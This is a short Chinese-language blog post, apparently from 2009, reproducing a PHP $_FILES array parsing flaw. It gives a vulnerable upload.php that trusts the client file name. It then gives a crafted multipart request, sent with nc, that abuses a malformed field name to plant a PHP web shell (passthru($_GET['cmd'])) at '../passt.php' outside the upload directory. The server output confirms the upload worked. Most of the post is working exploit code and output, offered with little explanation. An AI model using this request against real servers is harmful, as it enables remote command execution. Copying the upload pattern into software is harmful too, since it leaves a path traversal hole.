原文:http://www.wisec.it/news.php?page=1&lang=it
 鸟文没太看明白,摸索了一下,$_FILE数组元素解析的问题。

搭个php的环境,目录在C:\www下,根目录下有个upload.php代码如下
<?php

 
$uploaddir = 'c:/www/';
 
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

 
print "<pre>";
 
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    
print "File is valid, and was successfully uploaded. ";
    
print "Here's some more debugging info:\n";
    
print_r($_FILES);
 } 
else {
    
print "Possible file upload attack!  Here's some debugging info:\n";
    
print_r($_FILES);
 }
 
print "</pre>";
 
?>

使用nc,发送修改过的包,添加了一个段(暂且叫段吧,大家应该能看明白),主要修改了其中的Content-Type的值,发包内容如下:
POST /upload.php HTTP/1.1
Accept: */*
Referer: http://localhost/upload.html
Accept-Language: zh-cn
Content-Type: multipart/form-data
; boundary=---------------------------7d915736b07cc
UA-CPU: x86
Accept-Encoding: gzip
, deflate
User-Agent: Mozilla/
4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: localhost
Content-Length: 
477
Connection: Keep-Alive
Cache-Control: no-cache

-----------------------------7d915736b07cc
Content-Disposition: form-data
; name="user[file[name]123"; filename="a.php"
Content-Type: ../passt.php

<?php
passthru($_GET
['cmd']);
?>
-----------------------------7d915736b07cc--

-----------------------------7d915736b07cc
Content-Disposition: form-data
; name="user[file[name]123"; filename="vg"
Content-Type: application/octet-stream

<?php
passthru($_GET
['cmd']);
?>
-----------------------------7d915736b07cc--

提示结果如下:
C:\>nc localhost 80 <up.txt
HTTP/
1.1 200 OK
Date: Mon
, 27 Jul 2009 03:44:33 GMT
Server: Apache/
2.0.50 (Win32) PHP/5.0.0
X-Powered-By: PHP/
5.0.0
Content-Length: 
284
Keep-Alive: timeout
=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<pre>File is valid
, and was successfully uploaded. Here's some more debugging in
fo:
Array
(
    
[user_file] => Array
        (
            
[name] => ../passt.php
            
[tmp_name] => C:\WINDOWS\TEMP\php248.tmp
            
[error] =0
            
[size] =34
        )

)
</pre>^C
C:\>

然后C:\根目录中可以看到上传了passt.php文件。

能干嘛?不知道,别问我,我什么都不知道。

(需要$_FILES,变量必须要有下划线“_”,这里是“user_file”,没时间仔细研究了。)